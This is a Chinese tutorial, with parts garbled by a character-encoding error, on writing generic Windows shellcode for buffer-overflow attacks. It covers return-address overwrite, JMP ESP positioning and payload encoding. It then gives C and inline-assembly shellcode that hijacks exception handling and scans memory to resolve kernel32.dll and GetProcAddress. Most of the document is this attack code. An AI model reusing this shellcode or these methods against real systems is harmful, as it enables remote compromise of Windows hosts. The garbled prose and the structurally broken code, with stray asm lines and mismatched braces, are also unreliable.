Windows的SHELLCODE編寫高級技巧
unix等系統(tǒng)因?yàn)橛杏脩舾拍睿酝绯鍪鞘褂孟鹊玫狡胀◣ぬ?,然后登陸后用溢出再加載一個(gè)SHELL的辦法得到ROOT權(quán)限,其系統(tǒng)調(diào)用又方便,所以SHELLCODE編寫一般都比較簡單。但WINDOWS系統(tǒng)往往不提供登陸服務(wù),所以溢出攻擊的SHELLCODE往往要提供SOCKET連接,要加載程序得到SHELL等,而WINDOWS的系統(tǒng)調(diào)用int2e接口又不如unix系統(tǒng)調(diào)用int80規(guī)范,所以一般都使用API,而API函數(shù)地址又因?yàn)橄到y(tǒng)版本的不同而不一樣,所以要編寫WINDOWS下面比較實(shí)用、通用點(diǎn)的SHELLCODE比較麻煩。經(jīng)過一段時(shí)間的思考,得到了WINDOWS下編寫SHELLCODE的比教好的辦法。
1、溢出點(diǎn)確定。使用溢出點(diǎn)附近覆蓋一片一個(gè)RET指令地址的辦法,這樣只要知道溢出點(diǎn)大致范圍就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆蓋的RET地址后面放一個(gè)JMPESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代碼頁里面的地址,54 C3,或者FF E4、C3這個(gè)一個(gè)語言的WINDOWS地址固定,也很好找這個(gè)地址。
4、SHELLCODE直接使用C語言編寫,方便編寫、修改、調(diào)試。
5、SHELLCODE統(tǒng)一編碼,滿足應(yīng)用條件對SHELLCODE字符的限制,用一段小匯編代碼解碼,這樣編寫SHELLCODE就可以不用考慮特殊字符了。
6、通信加密,對付防火墻,實(shí)現(xiàn)FTP功能,實(shí)現(xiàn)內(nèi)存直接接管WEB服務(wù)等的高級應(yīng)用。下面主要介紹介紹編寫通用SHELLCODE的辦法。主要SHELLCODE里面使用的API自己用GetProcAddress定位,要使用庫用LoadLibraryA加載。那這樣SHELLCODE就只依靠這兩個(gè)API了。那這兩個(gè)API的地址又怎么解決呢,LoadLibraryA這個(gè)API在系統(tǒng)庫KERNEL32.DLL里面,也可以使用GetProcAddress得到。那關(guān)鍵就是要找到系統(tǒng)庫kernel32.dll和GetProcAddress的地址了。因?yàn)橐话銘?yīng)用程序都會加載kernel32.dll,所以解決辦法就是在內(nèi)存里面找到這個(gè)系統(tǒng)庫和API地址,所幸知道了WINDOWS的模塊數(shù)據(jù)結(jié)構(gòu)也就不難了,主要是增加異常結(jié)構(gòu)處理 。下面是VC6.0程序代碼:
void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存異常結(jié)構(gòu)鏈和修改異常結(jié)構(gòu)鏈,SHELLCODE接管異常 */
imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其實(shí)地址 */
call getexceptretadd
}
/* 得到異常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模塊地址是64K為單位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到這還沒有搜索到,那可能是WIN9X系統(tǒng) */
if(*( WORD *)imgbase==’ZM’&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))==’EP’){
/* 模塊結(jié)構(gòu)的模塊頭 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){
/* 模塊名 */
libhandle=imgbase;
/* 得到模塊頭地址,就是模塊句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模塊地址和API函數(shù) GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。
_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢復(fù)異常結(jié)構(gòu)鏈 */
if(procgetadd==0) goto die ;
/* 如果沒找到GetProcAddress地址死循環(huán) */
die: goto die ;
_asm{
getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到異常后的返回地址,并填寫到異常處理模塊 */
/* 異常處理模塊 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改異常返回EIP指針 */
xor eax,eax //2
/* 不提示異常 */
ret //1
/* 異常處理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}